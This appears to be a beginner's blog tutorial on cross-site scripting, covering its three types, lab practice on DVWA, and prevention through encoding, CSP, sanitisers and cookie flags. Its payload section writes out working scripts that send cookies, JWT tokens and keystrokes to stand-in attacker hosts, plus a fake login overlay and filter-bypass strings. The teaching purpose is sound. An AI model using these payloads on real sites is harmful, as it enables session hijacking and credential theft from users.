CyberBolt
Web Security

Cross-Site Scripting (XSS) Explained with Real Examples

boltApril 2, 20264 min read
xssweb-securitybeginnersjavascriptowasp

What Is Cross-Site Scripting (XSS)?

XSS is a web vulnerability where an attacker injects malicious JavaScript into a web page viewed by other users. When a victim's browser executes the injected script, the attacker can steal cookies, session tokens, credentials, or perform actions as the victim.

XSS has been in the OWASP Top 10 for over a decade. Despite being well-understood, it remains extremely common — even in major applications.

The Three Types of XSS

1. Reflected XSS

The malicious script is part of the current request — typically in a URL parameter. The server reflects the unescaped input back in the HTML response.

# Vulnerable search endpoint
GET /search?q=<script>alert('XSS')</script>

# Server responds with:
<p>Results for: <script>alert('XSS')</script></p>
# Browser executes the script!

Attack scenario: Attacker sends a crafted link via email/social media. Victim clicks it, script executes in their browser context.

2. Stored (Persistent) XSS

The malicious script is saved in the database and displayed to every user who views that content — comments, forum posts, user profiles, etc.

# User submits a comment containing:
<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

# Every visitor who views the comments page executes this script
# Their cookies are sent to the attacker's server

Impact: Much more dangerous than reflected XSS because it affects every visitor, not just those who click a link.

3. DOM-Based XSS

The vulnerability exists in client-side JavaScript that processes user input without proper sanitization — the server never sees the payload.

# Vulnerable JavaScript
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

# Attacker crafts URL:
https://example.com/page?name=<img src=x onerror=alert(1)>
# The browser inserts this directly into the DOM

Real-World XSS Payloads

Cookie Stealing

<script>
fetch('https://attacker.com/log?c=' + document.cookie);
</script>

Session Hijacking

<script>
new Image().src = 'https://attacker.com/steal?token=' + localStorage.getItem('jwt');
</script>

Keylogging

<script>
document.addEventListener('keypress', function(e) {
  fetch('https://attacker.com/keys?k=' + e.key);
});
</script>

Phishing via XSS

<script>
document.body.innerHTML = '<h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="password" type="password" placeholder="Re-enter password"><button>Login</button></form>';
</script>

Filter Bypass Techniques

# Case variation
<ScRiPt>alert(1)</sCrIpT>

# Event handlers
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

# JavaScript protocol
<a href="javascript:alert(1)">Click me</a>

# Encoded payloads
<img src=x onerror=alert(1)>

Hands-On Practice

Lab Setup

# Run DVWA for XSS practice
docker run -d -p 8080:80 vulnerables/web-dvwa
# Login: admin / password
# Navigate to "XSS (Reflected)" and "XSS (Stored)" modules

# PortSwigger Web Security Academy (free)
# https://portswigger.net/web-security/cross-site-scripting

How to Prevent XSS

1. Output Encoding (Most Important)

# Python (Jinja2 — auto-escapes by default)
<p>{{ user_input }}</p>  {# Auto-escaped #}
<p>{{ user_input | e }}</p>  {# Explicit escaping #}

# JavaScript — use textContent instead of innerHTML
element.textContent = userInput;  // SAFE
element.innerHTML = userInput;    // VULNERABLE

2. Content Security Policy (CSP)

# HTTP header that blocks inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

# This prevents injected <script> tags from executing

3. Sanitize HTML Input (When Rich Text Is Required)

# Python — use bleach
import bleach
clean_html = bleach.clean(user_input, tags=['p', 'b', 'i', 'a'], attributes={'a': ['href']})

# JavaScript — use DOMPurify
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHTML);

4. HttpOnly and Secure Cookie Flags

# Prevents JavaScript from accessing cookies
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

XSS Prevention Checklist

  1. ✅ Encode all output before inserting into HTML, JavaScript, URLs, or CSS
  2. ✅ Use textContent instead of innerHTML for DOM manipulation
  3. ✅ Implement Content Security Policy (CSP) headers
  4. ✅ Use HttpOnly flag on session cookies
  5. ✅ Sanitize rich text input with a whitelist-based library (bleach, DOMPurify)
  6. ✅ Validate input types — reject unexpected formats
  7. ✅ Use modern frameworks (React, Angular, Vue) that auto-escape by default

Key Takeaways

  • XSS = injecting JavaScript into someone else's browser
  • Stored XSS is the most dangerous — it affects every visitor
  • Modern frameworks like React auto-escape output, but dangerouslySetInnerHTML and v-html are still vulnerable
  • CSP is your second line of defense — it blocks scripts even if XSS exists
  • Practice on DVWA and PortSwigger Academy to build real detection skills

Related Articles

Stay Ahead in AI Security

Get weekly insights on AI threats, LLM security, and defensive techniques. No spam, unsubscribe anytime.

Join security professionals who read CyberBolt.

XSS Explained — Types, Examples &amp; Prevention Guide (2026) | CyberBolt